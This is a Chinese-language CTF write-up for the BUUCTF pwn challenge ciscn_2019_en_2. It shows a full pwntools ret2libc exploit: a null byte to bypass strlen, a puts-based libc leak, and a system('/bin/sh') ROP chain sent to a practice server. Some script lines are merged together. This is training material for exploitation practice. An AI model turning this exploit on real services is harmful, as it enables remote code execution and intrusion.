buuctf|ciscn_2019_en_2 1

分析

下载后我重命名为pwn_14了
checksec一下

nx开启，可以栈溢出
64位，用ida看看

分析下，只有输入‘1’有用，即encrypt函数较为重要，进入encrypt
有gets(s)，可以进行栈溢出，没有找到后门函数。
那基本思路有了，这里可以栈溢出，但要绕过strlen判断，之后就是基本的ROP,ret2libc。

exp

exp如下

from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')p=remote('node4.buuoj.cn',25305)
elf=ELF('./pwn_14')pop_addr=0x400c83
ret_addr=0x4006b9
puts_plt=elf.sym["puts"]
__libc_start_main=elf.got["__libc_start_main"]
main_addr=elf.sym['main']p.recv()
p.sendline(b'1')
payload1=b'\0'+b'A'*0x57+p64(pop_addr)+p64(__libc_start_main)+p64(puts_plt)+p64(main_addr)
p.recvuntil(b'Input your Plaintext to be encrypted\n')
p.sendline(payload1)p.recvline()
p.recvline()
__main_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))libc=LibcSearcher("__libc_start_main",__main_addr)
base=__main_addr-libc.dump('__libc_start_main')
system_addr=base+libc.dump('system')
binsh_addr=base+libc.dump('str_bin_sh')p.recv()
p.sendline(b'1')
payload2=b'\0'+b'A'*0x57+p64(ret_addr)+p64(pop_addr)+p64(binsh_addr)+p64(system_addr)
p.recvuntil(b'encrypted\n')
p.sendline(payload2)p.interactive()

flag

得flag

buuctf|ciscn_2019_en_2 1相关推荐

持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
BUUCTF的Web真题学习整理（一）
目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...
[BUUCTF-pwn]——ciscn_2019_en_2
[BUUCTF-pwn]--ciscn_2019_en_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_en_2 题目: 这是一道和之前一摸一样的题,请点 ...
BUUCTF寒假刷题-Web
前言寒假横向刷题(尽量) BUUCTF
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过题目后台PHP源码: <?php include 'config.php'; // FLA ...
BUUCTF刷题笔记
BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入输入1',看看返回的结 ...
BUUCTF Quoted-printable编码
Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...
BUUCTF NewStarCTF一些新知识记录
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档目录前言一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...
buuctf Mark loves cat
buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...
BUUCTF·[MRCTF2020]天干地支+甲子·WP
题目来源 BUUCTF在线评测 (buuoj.cn) 附件得到得字符串用MRCTF{}包裹一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下甲戌甲寅甲寅癸卯己酉甲寅 ...

buuctf|ciscn_2019_en_2 1

buuctf|ciscn_2019_en_2 1

分析

exp

flag

buuctf|ciscn_2019_en_2 1相关推荐

最新文章

热门文章